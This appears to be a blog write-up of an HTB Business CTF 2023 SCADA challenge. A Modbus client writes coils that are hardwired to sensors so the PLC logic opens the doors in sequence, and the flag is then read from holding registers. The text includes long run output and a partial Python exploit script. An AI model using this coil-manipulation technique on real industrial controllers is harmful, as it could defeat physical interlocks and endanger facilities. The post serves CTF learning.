← Back to blog

Breach

Files

Download: ics_breach.zip

Challenge Description

This is an ICS/SCADA challenge from the HTB Business CTF 2023. We are given access to a Modbus TCP endpoint controlling a chemical testing facility. The doors are gated by a PLC program, and the twist is that the sensor inputs have been hardwired to the output coils, meaning we can drive the sensors over Modbus to satisfy the PLC’s door logic.

Breach
Our relentless search led us to a secure testing site, a hub for concocting chemicals used in planet terraforming. Given its critical nature, a unique door system segregates the entire facility, allowing only a single door to open before a decontamination process ensues. Currently, the control sensors seem to be inoperative, keeping the system idle. Intriguingly, someone seems to have hardwired the sensor inputs to the output coils. Perhaps, this might be our entry point into the building.

The provided Instructions.txt spells out the rules of the puzzle: the doors must be opened in a specific sequence, the door coils themselves cannot be written, but the sensors can, and the flag will appear on the holding registers once the mission completes.

cat Instructions.txt
1. The door order that must be achieved to successfully allow the team to infiltrate the building is: [door_3, door_0, door_4, door_1, door_2] and must be sequential.
2. The coils for the doors have restricted access on the Modbus network and can not be written.
3. The sensors are hardwired to coils, thus driving the coil will result in the sensor signal being altered.
4. SYSTEM REST: Upon mission completion, the system will reset after approximately two minutes.
5. FLAG: the flag will be available on the holding registers starting at address 4 upon completion of the mission.

Understanding Coil Addressing

Modbus coils are addressed as flat bit numbers, but PLC programs reference them using the IEC %QX<byte>.<bit> notation. The key insight is the conversion formula: a coil at %QX52.0 maps to Modbus address 52*8 + 0 = 416. This lets us translate the PLC’s symbolic sensor names into raw Modbus addresses we can write to.

The "%QX52.0" notation, the "Q" probably refers to a digital output (also known as a boolean output), and "X52.0" is the address of that output. The "X" here could be indicating an input or output, and "52.0" specifies the specific address or bit number within the output such that QX1.2 -> address = 1*8 + 2

Mapping the Door Logic

By reverse engineering the PLC behaviour, each door turns out to require a specific combination of sensor states to open. The table below maps which sensors must be set (TRUE) or cleared (FALSE) for each door. This is the core of the puzzle: every door has its own boolean condition over the sensors.

Sensor    Door 0    Door 1    Door 2    Door 3    Door 4
0    TRUE    TRUE
1    TRUE
2    FALSE
3
4    TRUE
5        TRUE    TRUE
6        FALSE
7        TRUE    FALSE
8
9
10            TRUE    TRUE    TRUE
11            TRUE    FALSE    "TRUE"
12                TRUE    TRUE
13                TRUE    TRUE
14                    TRUE
15

Driving the Doors

With the addressing and logic understood, we run a Modbus client that resets all sensors, then for each door in the required sequence sets the sensors to satisfy that door’s condition, sets system_active, waits for the door to open, and resets again before moving to the next door. The script below shows the full run: opening door 3, then door 0, then door 4, then door 1, then door 2.

python3 modbus-client.py
[*] Resetting sensors ...
  Setting sensor_0 => False ...
  Setting sensor_1 => False ...
  Setting sensor_2 => False ...
  Setting sensor_3 => False ...
  Setting sensor_4 => False ...
  Setting sensor_5 => False ...
  Setting sensor_6 => False ...
  Setting sensor_7 => False ...
  Setting sensor_8 => False ...
  Setting sensor_9 => False ...
  Setting sensor_10 => False ...
  Setting sensor_11 => False ...
  Setting sensor_12 => False ...
  Setting sensor_13 => False ...
  Setting sensor_14 => False ...
  Setting system_active => False ...
[*] Reading sensor values ...
  door_0 = False
  door_1 = False
  door_2 = False
  door_3 = False
  door_4 = False
  sensor_0 = False
  sensor_1 = False
  sensor_2 = False
  sensor_3 = False
  sensor_4 = False
  sensor_5 = False
  sensor_6 = False
  sensor_7 = False
  sensor_8 = False
  sensor_9 = False
  sensor_10 = False
  sensor_11 = False
  sensor_12 = False
  sensor_13 = False
  sensor_14 = False
  system_active = False
[*] Opening door 3 ...
  Setting sensor_13 => True ...
  Setting sensor_12 => True ...
  Setting sensor_11 => False ...
  Setting sensor_10 => True ...
  Setting system_active => True ...
[*] Reading sensor values ...
  door_0 = False
  door_1 = False
  door_2 = False
  door_3 = False
  door_4 = False
  sensor_0 = False
  sensor_1 = False
  sensor_2 = False
  sensor_3 = False
  sensor_4 = False
  sensor_5 = False
  sensor_6 = False
  sensor_7 = False
  sensor_8 = False
  sensor_9 = False
  sensor_10 = True
  sensor_11 = False
  sensor_12 = True
  sensor_13 = True
  sensor_14 = False
  system_active = True
[*] Opening door 3 ...
  Setting sensor_13 => True ...
  Setting sensor_12 => True ...
  Setting sensor_11 => False ...
  Setting sensor_10 => True ...
  Setting system_active => True ...
[*] Reading sensor values ...
  door_0 = False
  door_1 = False
  door_2 = False
  door_3 = True
  door_4 = False
  sensor_0 = False
  sensor_1 = False
  sensor_2 = False
  sensor_3 = False
  sensor_4 = False
  sensor_5 = False
  sensor_6 = False
  sensor_7 = False
  sensor_8 = False
  sensor_9 = False
  sensor_10 = True
  sensor_11 = False
  sensor_12 = True
  sensor_13 = True
  sensor_14 = False
  system_active = True
[*] Resetting sensors ...
  Setting sensor_0 => False ...
  Setting sensor_1 => False ...
  Setting sensor_2 => False ...
  Setting sensor_3 => False ...
  Setting sensor_4 => False ...
  Setting sensor_5 => False ...
  Setting sensor_6 => False ...
  Setting sensor_7 => False ...
  Setting sensor_8 => False ...
  Setting sensor_9 => False ...
  Setting sensor_10 => False ...
  Setting sensor_11 => False ...
  Setting sensor_12 => False ...
  Setting sensor_13 => False ...
  Setting sensor_14 => False ...
  Setting system_active => False ...
[*] Reading sensor values ...
  door_0 = False
  door_1 = False
  door_2 = False
  door_3 = False
  door_4 = False
  sensor_0 = False
  sensor_1 = False
  sensor_2 = False
  sensor_3 = False
  sensor_4 = False
  sensor_5 = False
  sensor_6 = False
  sensor_7 = False
  sensor_8 = False
  sensor_9 = False
  sensor_10 = False
  sensor_11 = False
  sensor_12 = False
  sensor_13 = False
  sensor_14 = False
  system_active = False
[*] Opening door 0 ...
  Setting sensor_4 => True ...
  Setting sensor_2 => False ...
  Setting sensor_1 => True ...
  Setting sensor_0 => True ...
  Setting system_active => True ...
[*] Reading sensor values ...
  door_0 = False
  door_1 = False
  door_2 = False
  door_3 = False
  door_4 = False
  sensor_0 = True
  sensor_1 = True
  sensor_2 = False
  sensor_3 = False
  sensor_4 = True
  sensor_5 = False
  sensor_6 = False
  sensor_7 = False
  sensor_8 = False
  sensor_9 = False
  sensor_10 = False
  sensor_11 = False
  sensor_12 = False
  sensor_13 = False
  sensor_14 = False
  system_active = True
[*] Opening door 0 ...
  Setting sensor_4 => True ...
  Setting sensor_2 => False ...
  Setting sensor_1 => True ...
  Setting sensor_0 => True ...
  Setting system_active => True ...
[*] Reading sensor values ...
  door_0 = True
  door_1 = False
  door_2 = False
  door_3 = False
  door_4 = False
  sensor_0 = True
  sensor_1 = True
  sensor_2 = False
  sensor_3 = False
  sensor_4 = True
  sensor_5 = False
  sensor_6 = False
  sensor_7 = False
  sensor_8 = False
  sensor_9 = False
  sensor_10 = False
  sensor_11 = False
  sensor_12 = False
  sensor_13 = False
  sensor_14 = False
  system_active = True
[*] Resetting sensors ...
  Setting sensor_0 => False ...
  Setting sensor_1 => False ...
  Setting sensor_2 => False ...
  Setting sensor_3 => False ...
  Setting sensor_4 => False ...
  Setting sensor_5 => False ...
  Setting sensor_6 => False ...
  Setting sensor_7 => False ...
  Setting sensor_8 => False ...
  Setting sensor_9 => False ...
  Setting sensor_10 => False ...
  Setting sensor_11 => False ...
  Setting sensor_12 => False ...
  Setting sensor_13 => False ...
  Setting sensor_14 => False ...
  Setting system_active => False ...
[*] Reading sensor values ...
  door_0 = False
  door_1 = False
  door_2 = False
  door_3 = False
  door_4 = False
  sensor_0 = False
  sensor_1 = False
  sensor_2 = False
  sensor_3 = False
  sensor_4 = False
  sensor_5 = False
  sensor_6 = False
  sensor_7 = False
  sensor_8 = False
  sensor_9 = False
  sensor_10 = False
  sensor_11 = False
  sensor_12 = False
  sensor_13 = False
  sensor_14 = False
  system_active = False
[*] Opening door 4 ...
  Setting sensor_14 => True ...
  Setting sensor_13 => True ...
  Setting sensor_12 => True ...
  Setting sensor_11 => True ...
  Setting sensor_10 => True ...
  Setting system_active => True ...
[*] Reading sensor values ...
  door_0 = False
  door_1 = False
  door_2 = False
  door_3 = False
  door_4 = False
  sensor_0 = False
  sensor_1 = False
  sensor_2 = False
  sensor_3 = False
  sensor_4 = False
  sensor_5 = False
  sensor_6 = False
  sensor_7 = False
  sensor_8 = False
  sensor_9 = False
  sensor_10 = True
  sensor_11 = True
  sensor_12 = True
  sensor_13 = True
  sensor_14 = True
  system_active = True
[*] Opening door 4 ...
  Setting sensor_14 => True ...
  Setting sensor_13 => True ...
  Setting sensor_12 => True ...
  Setting sensor_11 => True ...
  Setting sensor_10 => True ...
  Setting system_active => True ...
[*] Reading sensor values ...
  door_0 = False
  door_1 = False
  door_2 = False
  door_3 = False
  door_4 = True
  sensor_0 = False
  sensor_1 = False
  sensor_2 = False
  sensor_3 = False
  sensor_4 = False
  sensor_5 = False
  sensor_6 = False
  sensor_7 = False
  sensor_8 = False
  sensor_9 = False
  sensor_10 = True
  sensor_11 = True
  sensor_12 = True
  sensor_13 = True
  sensor_14 = True
  system_active = True
[*] Resetting sensors ...
  Setting sensor_0 => False ...
  Setting sensor_1 => False ...
  Setting sensor_2 => False ...
  Setting sensor_3 => False ...
  Setting sensor_4 => False ...
  Setting sensor_5 => False ...
  Setting sensor_6 => False ...
  Setting sensor_7 => False ...
  Setting sensor_8 => False ...
  Setting sensor_9 => False ...
  Setting sensor_10 => False ...
  Setting sensor_11 => False ...
  Setting sensor_12 => False ...
  Setting sensor_13 => False ...
  Setting sensor_14 => False ...
  Setting system_active => False ...
[*] Reading sensor values ...
  door_0 = False
  door_1 = False
  door_2 = False
  door_3 = False
  door_4 = True
  sensor_0 = False
  sensor_1 = False
  sensor_2 = False
  sensor_3 = False
  sensor_4 = False
  sensor_5 = False
  sensor_6 = False
  sensor_7 = False
  sensor_8 = False
  sensor_9 = False
  sensor_10 = False
  sensor_11 = False
  sensor_12 = False
  sensor_13 = False
  sensor_14 = False
  system_active = False
[*] Opening door 1 ...
  Setting sensor_7 => True ...
  Setting sensor_6 => False ...
  Setting sensor_5 => True ...
  Setting sensor_0 => True ...
  Setting system_active => True ...
[*] Reading sensor values ...
  door_0 = False
  door_1 = False
  door_2 = False
  door_3 = False
  door_4 = False
  sensor_0 = True
  sensor_1 = False
  sensor_2 = False
  sensor_3 = False
  sensor_4 = False
  sensor_5 = True
  sensor_6 = False
  sensor_7 = True
  sensor_8 = False
  sensor_9 = False
  sensor_10 = False
  sensor_11 = False
  sensor_12 = False
  sensor_13 = False
  sensor_14 = False
  system_active = True
[*] Opening door 1 ...
  Setting sensor_7 => True ...
  Setting sensor_6 => False ...
  Setting sensor_5 => True ...
  Setting sensor_0 => True ...
  Setting system_active => True ...
[*] Reading sensor values ...
  door_0 = False
  door_1 = True
  door_2 = False
  door_3 = False
  door_4 = False
  sensor_0 = True
  sensor_1 = False
  sensor_2 = False
  sensor_3 = False
  sensor_4 = False
  sensor_5 = True
  sensor_6 = False
  sensor_7 = True
  sensor_8 = False
  sensor_9 = False
  sensor_10 = False
  sensor_11 = False
  sensor_12 = False
  sensor_13 = False
  sensor_14 = False
  system_active = True
[*] Resetting sensors ...
  Setting sensor_0 => False ...
  Setting sensor_1 => False ...
  Setting sensor_2 => False ...
  Setting sensor_3 => False ...
  Setting sensor_4 => False ...
  Setting sensor_5 => False ...
  Setting sensor_6 => False ...
  Setting sensor_7 => False ...
  Setting sensor_8 => False ...
  Setting sensor_9 => False ...
  Setting sensor_10 => False ...
  Setting sensor_11 => False ...
  Setting sensor_12 => False ...
  Setting sensor_13 => False ...
  Setting sensor_14 => False ...
  Setting system_active => False ...
[*] Reading sensor values ...
  door_0 = False
  door_1 = False
  door_2 = False
  door_3 = False
  door_4 = False
  sensor_0 = False
  sensor_1 = False
  sensor_2 = False
  sensor_3 = False
  sensor_4 = False
  sensor_5 = False
  sensor_6 = False
  sensor_7 = False
  sensor_8 = False
  sensor_9 = False
  sensor_10 = False
  sensor_11 = False
  sensor_12 = False
  sensor_13 = False
  sensor_14 = False
  system_active = False
[*] Opening door 2 ...
  Setting sensor_11 => True ...
  Setting sensor_7 => False ...
  Setting sensor_10 => True ...
  Setting sensor_5 => True ...
  Setting system_active => True ...
[*] Reading sensor values ...
  door_0 = False
  door_1 = False
  door_2 = False
  door_3 = False
  door_4 = False
  sensor_0 = False
  sensor_1 = False
  sensor_2 = False
  sensor_3 = False
  sensor_4 = False
  sensor_5 = True
  sensor_6 = False
  sensor_7 = False
  sensor_8 = False
  sensor_9 = False
  sensor_10 = True
  sensor_11 = True
  sensor_12 = False
  sensor_13 = False
  sensor_14 = False
  system_active = True
[*] Opening door 2 ...
  Setting sensor_11 => True ...
  Setting sensor_7 => False ...
  Setting sensor_10 => True ...
  Setting sensor_5 => True ...
  Setting system_active => True ...
[*] Reading sensor values ...
  door_0 = False
  door_1 = False
  door_2 = True
  door_3 = False
  door_4 = False
  sensor_0 = False
  sensor_1 = False
  sensor_2 = False
  sensor_3 = False
  sensor_4 = False
  sensor_5 = True
  sensor_6 = False
  sensor_7 = False
  sensor_8 = False
  sensor_9 = False
  sensor_10 = True
  sensor_11 = True
  sensor_12 = False
  sensor_13 = False
  sensor_14 = False
  system_active = True
[*] Resetting sensors ...
  Setting sensor_0 => False ...
  Setting sensor_1 => False ...
  Setting sensor_2 => False ...
  Setting sensor_3 => False ...
  Setting sensor_4 => False ...
  Setting sensor_5 => False ...
  Setting sensor_6 => False ...
  Setting sensor_7 => False ...
  Setting sensor_8 => False ...
  Setting sensor_9 => False ...
  Setting sensor_10 => False ...
  Setting sensor_11 => False ...
  Setting sensor_12 => False ...
  Setting sensor_13 => False ...
  Setting sensor_14 => False ...
  Setting system_active => False ...
[*] Reading sensor values ...
  door_0 = False
  door_1 = False
  door_2 = False
  door_3 = False
  door_4 = False
  sensor_0 = False
  sensor_1 = False
  sensor_2 = False
  sensor_3 = False
  sensor_4 = False
  sensor_5 = False
  sensor_6 = False
  sensor_7 = False
  sensor_8 = False
  sensor_9 = False
  sensor_10 = False
  sensor_11 = False
  sensor_12 = False
  sensor_13 = False
  sensor_14 = False
  system_active = False

Reading the Flag

With all five doors having been opened in the required sequence (door_3, door_0, door_4, door_1, door_2), the mission completes and the PLC populates the holding registers starting at address 4. We read one register at a time and convert each 16-bit value to its ASCII character to reconstruct the flag.

[*](unit: 1, addr: 4) Attempting to read holding registers ...
[+](unit: 1, addr: 4) Holding Registers - [72] | H
[*](unit: 1, addr: 5) Attempting to read holding registers ...
[+](unit: 1, addr: 5) Holding Registers - [84] | T
[*](unit: 1, addr: 6) Attempting to read holding registers ...
[+](unit: 1, addr: 6) Holding Registers - [66] | B
[*](unit: 1, addr: 7) Attempting to read holding registers ...
[+](unit: 1, addr: 7) Holding Registers - [123] | {
[*](unit: 1, addr: 8) Attempting to read holding registers ...
[+](unit: 1, addr: 8) Holding Registers - [109] | m
[*](unit: 1, addr: 9) Attempting to read holding registers ...
[+](unit: 1, addr: 9) Holding Registers - [49] | 1
[*](unit: 1, addr: 10) Attempting to read holding registers ...
[+](unit: 1, addr: 10) Holding Registers - [53] | 5
[*](unit: 1, addr: 11) Attempting to read holding registers ...
[+](unit: 1, addr: 11) Holding Registers - [53] | 5
[*](unit: 1, addr: 12) Attempting to read holding registers ...
[+](unit: 1, addr: 12) Holding Registers - [49] | 1
[*](unit: 1, addr: 13) Attempting to read holding registers ...
[+](unit: 1, addr: 13) Holding Registers - [48] | 0
[*](unit: 1, addr: 14) Attempting to read holding registers ...
[+](unit: 1, addr: 14) Holding Registers - [110] | n
[*](unit: 1, addr: 15) Attempting to read holding registers ...
[+](unit: 1, addr: 15) Holding Registers - [95] | _
[*](unit: 1, addr: 16) Attempting to read holding registers ...
[+](unit: 1, addr: 16) Holding Registers - [99] | c
[*](unit: 1, addr: 17) Attempting to read holding registers ...
[+](unit: 1, addr: 17) Holding Registers - [48] | 0
[*](unit: 1, addr: 18) Attempting to read holding registers ...
[+](unit: 1, addr: 18) Holding Registers - [109] | m
[*](unit: 1, addr: 19) Attempting to read holding registers ...
[+](unit: 1, addr: 19) Holding Registers - [112] | p
[*](unit: 1, addr: 20) Attempting to read holding registers ...
[+](unit: 1, addr: 20) Holding Registers - [49] | 1
[*](unit: 1, addr: 21) Attempting to read holding registers ...
[+](unit: 1, addr: 21) Holding Registers - [51] | 3
[*](unit: 1, addr: 22) Attempting to read holding registers ...
[+](unit: 1, addr: 22) Holding Registers - [55] | 7
[*](unit: 1, addr: 23) Attempting to read holding registers ...
[+](unit: 1, addr: 23) Holding Registers - [51] | 3
[*](unit: 1, addr: 24) Attempting to read holding registers ...
[+](unit: 1, addr: 24) Holding Registers - [100] | d
[*](unit: 1, addr: 25) Attempting to read holding registers ...
[+](unit: 1, addr: 25) Holding Registers - [95] | _
[*](unit: 1, addr: 26) Attempting to read holding registers ...
[+](unit: 1, addr: 26) Holding Registers - [55] | 7
[*](unit: 1, addr: 27) Attempting to read holding registers ...
[+](unit: 1, addr: 27) Holding Registers - [51] | 3
[*](unit: 1, addr: 28) Attempting to read holding registers ...
[+](unit: 1, addr: 28) Holding Registers - [52] | 4
[*](unit: 1, addr: 29) Attempting to read holding registers ...
[+](unit: 1, addr: 29) Holding Registers - [109] | m
[*](unit: 1, addr: 30) Attempting to read holding registers ...
[+](unit: 1, addr: 30) Holding Registers - [95] | _
[*](unit: 1, addr: 31) Attempting to read holding registers ...
[+](unit: 1, addr: 31) Holding Registers - [56] | 8
[*](unit: 1, addr: 32) Attempting to read holding registers ...
[+](unit: 1, addr: 32) Holding Registers - [50] | 2
[*](unit: 1, addr: 33) Attempting to read holding registers ...
[+](unit: 1, addr: 33) Holding Registers - [51] | 3
[*](unit: 1, addr: 34) Attempting to read holding registers ...
[+](unit: 1, addr: 34) Holding Registers - [52] | 4
[*](unit: 1, addr: 35) Attempting to read holding registers ...
[+](unit: 1, addr: 35) Holding Registers - [99] | c
[*](unit: 1, addr: 36) Attempting to read holding registers ...
[+](unit: 1, addr: 36) Holding Registers - [104] | h
[*](unit: 1, addr: 37) Attempting to read holding registers ...
[+](unit: 1, addr: 37) Holding Registers - [51] | 3
[*](unit: 1, addr: 38) Attempting to read holding registers ...
[+](unit: 1, addr: 38) Holding Registers - [100] | d
[*](unit: 1, addr: 39) Attempting to read holding registers ...
[+](unit: 1, addr: 39) Holding Registers - [95] | _
[*](unit: 1, addr: 40) Attempting to read holding registers ...
[+](unit: 1, addr: 40) Holding Registers - [55] | 7
[*](unit: 1, addr: 41) Attempting to read holding registers ...
[+](unit: 1, addr: 41) Holding Registers - [104] | h
[*](unit: 1, addr: 42) Attempting to read holding registers ...
[+](unit: 1, addr: 42) Holding Registers - [51] | 3
[*](unit: 1, addr: 43) Attempting to read holding registers ...
[+](unit: 1, addr: 43) Holding Registers - [95] | _
[*](unit: 1, addr: 44) Attempting to read holding registers ...
[+](unit: 1, addr: 44) Holding Registers - [102] | f
[*](unit: 1, addr: 45) Attempting to read holding registers ...
[+](unit: 1, addr: 45) Holding Registers - [52] | 4
[*](unit: 1, addr: 46) Attempting to read holding registers ...
[+](unit: 1, addr: 46) Holding Registers - [99] | c
[*](unit: 1, addr: 47) Attempting to read holding registers ...
[+](unit: 1, addr: 47) Holding Registers - [49] | 1
[*](unit: 1, addr: 48) Attempting to read holding registers ...
[+](unit: 1, addr: 48) Holding Registers - [49] | 1
[*](unit: 1, addr: 49) Attempting to read holding registers ...
[+](unit: 1, addr: 49) Holding Registers - [49] | 1
[*](unit: 1, addr: 50) Attempting to read holding registers ...
[+](unit: 1, addr: 50) Holding Registers - [55] | 7
[*](unit: 1, addr: 51) Attempting to read holding registers ...
[+](unit: 1, addr: 51) Holding Registers - [121] | y
[*](unit: 1, addr: 52) Attempting to read holding registers ...
[+](unit: 1, addr: 52) Holding Registers - [33] | !
[*](unit: 1, addr: 53) Attempting to read holding registers ...
[+](unit: 1, addr: 53) Holding Registers - [51] | 3
[*](unit: 1, addr: 54) Attempting to read holding registers ...
[+](unit: 1, addr: 54) Holding Registers - [57] | 9
[*](unit: 1, addr: 55) Attempting to read holding registers ...
[+](unit: 1, addr: 55) Holding Registers - [52] | 4
[*](unit: 1, addr: 56) Attempting to read holding registers ...
[+](unit: 1, addr: 56) Holding Registers - [125] | }
[*](unit: 1, addr: 57) Attempting to read holding registers ...
[+](unit: 1, addr: 57) Holding Registers - [0] |
[*](unit: 1, addr: 58) Attempting to read holding registers ...
[+](unit: 1, addr: 58) Holding Registers - [0] |
[*](unit: 1, addr: 59) Attempting to read holding registers ...
[+](unit: 1, addr: 59) Holding Registers - [0] |
[*](unit: 1, addr: 60) Attempting to read holding registers ...
[+](unit: 1, addr: 60) Holding Registers - [0] |
[*](unit: 1, addr: 61) Attempting to read holding registers ...
[+](unit: 1, addr: 61) Holding Registers - [0] |
[*](unit: 1, addr: 62) Attempting to read holding registers ...
[+](unit: 1, addr: 62) Holding Registers - [0] |
[*](unit: 1, addr: 63) Attempting to read holding registers ...
[+](unit: 1, addr: 63) Holding Registers - [0] |
[*](unit: 1, addr: 64) Attempting to read holding registers ...
[+](unit: 1, addr: 64) Holding Registers - [0] |
[*](unit: 1, addr: 65) Attempting to read holding registers ...
[+](unit: 1, addr: 65) Holding Registers - [0] |
[*](unit: 1, addr: 66) Attempting to read holding registers ...
[+](unit: 1, addr: 66) Holding Registers - [0] |
[*](unit: 1, addr: 67) Attempting to read holding registers ...
[+](unit: 1, addr: 67) Holding Registers - [0] |
[*](unit: 1, addr: 68) Attempting to read holding registers ...
[+](unit: 1, addr: 68) Holding Registers - [0] |
[*](unit: 1, addr: 69) Attempting to read holding registers ...
[+](unit: 1, addr: 69) Holding Registers - [0] |
[*](unit: 1, addr: 70) Attempting to read holding registers ...
[+](unit: 1, addr: 70) Holding Registers - [0] |
[*](unit: 1, addr: 71) Attempting to read holding registers ...
[+](unit: 1, addr: 71) Holding Registers - [0] |
[*](unit: 1, addr: 72) Attempting to read holding registers ...
[+](unit: 1, addr: 72) Holding Registers - [0] |
[*](unit: 1, addr: 73) Attempting to read holding registers ...
[+](unit: 1, addr: 73) Holding Registers - [0] |
[*](unit: 1, addr: 74) Attempting to read holding registers ...
[+](unit: 1, addr: 74) Holding Registers - [0] |
[*](unit: 1, addr: 75) Attempting to read holding registers ...
[+](unit: 1, addr: 75) Holding Registers - [0] |
[*](unit: 1, addr: 76) Attempting to read holding registers ...
[+](unit: 1, addr: 76) Holding Registers - [0] |
[*](unit: 1, addr: 77) Attempting to read holding registers ...
[+](unit: 1, addr: 77) Holding Registers - [0] |
[*](unit: 1, addr: 78) Attempting to read holding registers ...
[+](unit: 1, addr: 78) Holding Registers - [0] |
[*](unit: 1, addr: 79) Attempting to read holding registers ...
[+](unit: 1, addr: 79) Holding Registers - [0] |
[*](unit: 1, addr: 80) Attempting to read holding registers ...
[+](unit: 1, addr: 80) Holding Registers - [0] |
[*](unit: 1, addr: 81) Attempting to read holding registers ...
[+](unit: 1, addr: 81) Holding Registers - [0] |
[*](unit: 1, addr: 82) Attempting to read holding registers ...
[+](unit: 1, addr: 82) Holding Registers - [0] |
[*](unit: 1, addr: 83) Attempting to read holding registers ...
[+](unit: 1, addr: 83) Holding Registers - [0] |
[*](unit: 1, addr: 84) Attempting to read holding registers ...
[+](unit: 1, addr: 84) Holding Registers - [0] |
[*](unit: 1, addr: 85) Attempting to read holding registers ...
[+](unit: 1, addr: 85) Holding Registers - [0] |
[*](unit: 1, addr: 86) Attempting to read holding registers ...
[+](unit: 1, addr: 86) Holding Registers - [0] |
[*](unit: 1, addr: 87) Attempting to read holding registers ...
[+](unit: 1, addr: 87) Holding Registers - [0] |
[*](unit: 1, addr: 88) Attempting to read holding registers ...
[+](unit: 1, addr: 88) Holding Registers - [0] |
[*](unit: 1, addr: 89) Attempting to read holding registers ...
[+](unit: 1, addr: 89) Holding Registers - [0] |
[*](unit: 1, addr: 90) Attempting to read holding registers ...
[+](unit: 1, addr: 90) Holding Registers - [0] |
[*](unit: 1, addr: 91) Attempting to read holding registers ...
[+](unit: 1, addr: 91) Holding Registers - [0] |
[*](unit: 1, addr: 92) Attempting to read holding registers ...
[+](unit: 1, addr: 92) Holding Registers - [0] |
[*](unit: 1, addr: 93) Attempting to read holding registers ...
[+](unit: 1, addr: 93) Holding Registers - [0] |
[*](unit: 1, addr: 94) Attempting to read holding registers ...
[+](unit: 1, addr: 94) Holding Registers - [0] |
[*](unit: 1, addr: 95) Attempting to read holding registers ...
[+](unit: 1, addr: 95) Holding Registers - [0] |
[*](unit: 1, addr: 96) Attempting to read holding registers ...
[+](unit: 1, addr: 96) Holding Registers - [0] |
[*](unit: 1, addr: 97) Attempting to read holding registers ...
[+](unit: 1, addr: 97) Holding Registers - [0] |
[*](unit: 1, addr: 98) Attempting to read holding registers ...
[+](unit: 1, addr: 98) Holding Registers - [0] |
[*](unit: 1, addr: 99) Attempting to read holding registers ...
[+](unit: 1, addr: 99) Holding Registers - [0] |
HTB{m15510n_c0mp1373d_734m_8234ch3d_7h3_f4c1117y!394}

Solution Scripts

The following scripts are the full automation used to solve the challenge. The first is the working development version that includes the door sequencing logic, helper functions for every Modbus function code, and the address map.

modbus-client-breached.py

This client connects to the Modbus TCP endpoint, opens the doors in sequence by driving the hardwired sensor coils, then reads the flag from the holding registers. It also contains exploratory helpers (read_coils, read_discrete_input, read_input_registers) and an interactive Cmd terminal used during enumeration.

#!/usr/bin/env python3
"""Modbus sock
HTB: Scada Breach

Function Code     Register Type
1     Read Coil
2     Read Discrete Input
3     Read Holding Registers
4     Read Input Registers
5     Write Single Coil
6     Write Single Holding Register
15     Write Multiple Coils
16     Write Multiple Holding Registers
"""

from cmd import Cmd
import socket
from umodbus import conf
from umodbus.client import tcp
from time import sleep
import subprocess
from sys import exit

# Adjust modbus configuration
conf.SIGNED_VALUES = True

def reset_all_sensors(sock, slave_id):
    print("[*] Resetting sensors ...")
    for key in ADDRESSES.keys():
        if not key.startswith("door"): # cannot set doors
            set_sensor_value(sock, slave_id, key, False)

def read_sensor_values(sock, slave_id):
    # Read sensor values from Modbus
    print(f"[*] Reading sensor values ...")
    sensor_values = {}
    for key, address in ADDRESSES.items():
        request = tcp.read_coils(
            slave_id=slave_id, starting_address=address, quantity=1)
        response = tcp.send_message(request, sock)
        sensor_values[key] = response[0]
    for key, value in sensor_values.items():
        print(f"  {key} = {bool(value)}")
    return sensor_values

def set_sensor_value(sock, slave_id, sensor, value):
    print(f"  Setting {sensor} => {value} ...")
    request = tcp.write_single_coil(
        slave_id=slave_id, address=ADDRESSES[sensor], value=value)
    response = tcp.send_message(request, sock)
    sleep(0.1)
    return response

def open_doors(sock, slave_id):
    reset_all_sensors(sock, slave_id)
    sensor_values = read_sensor_values(sock, slave_id)

    while not sensor_values["door_3"]:
        # TON3(IN := NOT(Door_4) AND NOT(Door_1) AND NOT(Door_2) AND NOT(Door_0) AND sensor_13 AND sensor_12 AND NOT(sensor_11) AND sensor_10 AND system_active, PT := T#5000ms);
        print("[*] Opening door 3 ...")
        set_sensor_value(sock, slave_id, "sensor_13", True)
        set_sensor_value(sock, slave_id, "sensor_12", True)
        set_sensor_value(sock, slave_id, "sensor_11", False)
        set_sensor_value(sock, slave_id, "sensor_10", True)
        set_sensor_value(sock, slave_id, "system_active", True)
        sleep(12)
        sensor_values = read_sensor_values(sock, slave_id)

    reset_all_sensors(sock, slave_id)
    sensor_values = read_sensor_values(sock, slave_id)

    while not sensor_values["door_0"]:
        # TON0(IN := NOT(Door_4) AND NOT(Door_3) AND NOT(Door_2) AND NOT(Door_1) AND sensor_4 AND NOT(sensor_2) AND sensor_1 AND sensor_0 AND system_active, PT := T#8000ms);
        print("[*] Opening door 0 ...")
        set_sensor_value(sock, slave_id, "sensor_4", True)
        set_sensor_value(sock, slave_id, "sensor_2", False)
        set_sensor_value(sock, slave_id, "sensor_1", True)
        set_sensor_value(sock, slave_id, "sensor_0", True)
        set_sensor_value(sock, slave_id, "system_active", True)
        sleep(12)
        sensor_values = read_sensor_values(sock, slave_id)

    reset_all_sensors(sock, slave_id)
    sensor_values = read_sensor_values(sock, slave_id)

    while not sensor_values["door_4"]:
        # TON4(IN := NOT(Door_1) AND NOT(Door_3) AND NOT(Door_2) AND NOT(Door_0) AND sensor_14 AND sensor_13 AND sensor_12 AND sensor_10 AND system_active, PT := T#8000ms);
        print("[*] Opening door 4 ...")
        set_sensor_value(sock, slave_id, "sensor_14", True)
        set_sensor_value(sock, slave_id, "sensor_13", True)
        set_sensor_value(sock, slave_id, "sensor_12", True)
        set_sensor_value(sock, slave_id, "sensor_11", True) # Confliction w/ door 3
        set_sensor_value(sock, slave_id, "sensor_10", True)
        set_sensor_value(sock, slave_id, "system_active", True)
        sleep(12)
        sensor_values = read_sensor_values(sock, slave_id)

    reset_all_sensors(sock, slave_id)
    sensor_values = read_sensor_values(sock, slave_id)

    while not sensor_values["door_1"]:
        # TON1(IN := NOT(Door_4) AND NOT(Door_3) AND NOT(Door_2) AND NOT(Door_0) AND sensor_7 AND NOT(sensor_6) AND sensor_5 AND sensor_0 AND system_active, PT := T#5000ms);
        print("[*] Opening door 1 ...")
        set_sensor_value(sock, slave_id, "sensor_7", True)
        set_sensor_value(sock, slave_id, "sensor_6", False)
        set_sensor_value(sock, slave_id, "sensor_5", True)
        set_sensor_value(sock, slave_id, "sensor_0", True)
        set_sensor_value(sock, slave_id, "system_active", True)
        sleep(12)
        sensor_values = read_sensor_values(sock, slave_id)

    reset_all_sensors(sock, slave_id)
    sensor_values = read_sensor_values(sock, slave_id)

    while not sensor_values["door_2"]:
        # TON2(IN := NOT(Door_4) AND NOT(Door_3) AND NOT(Door_1) AND NOT(Door_0) AND sensor_11 AND NOT(sensor_7) AND sensor_10 AND sensor_5 AND system_active, PT := T#8000ms);
        print("[*] Opening door 2 ...")
        set_sensor_value(sock, slave_id, "sensor_11", True)
        set_sensor_value(sock, slave_id, "sensor_7", False)
        set_sensor_value(sock, slave_id, "sensor_10", True)
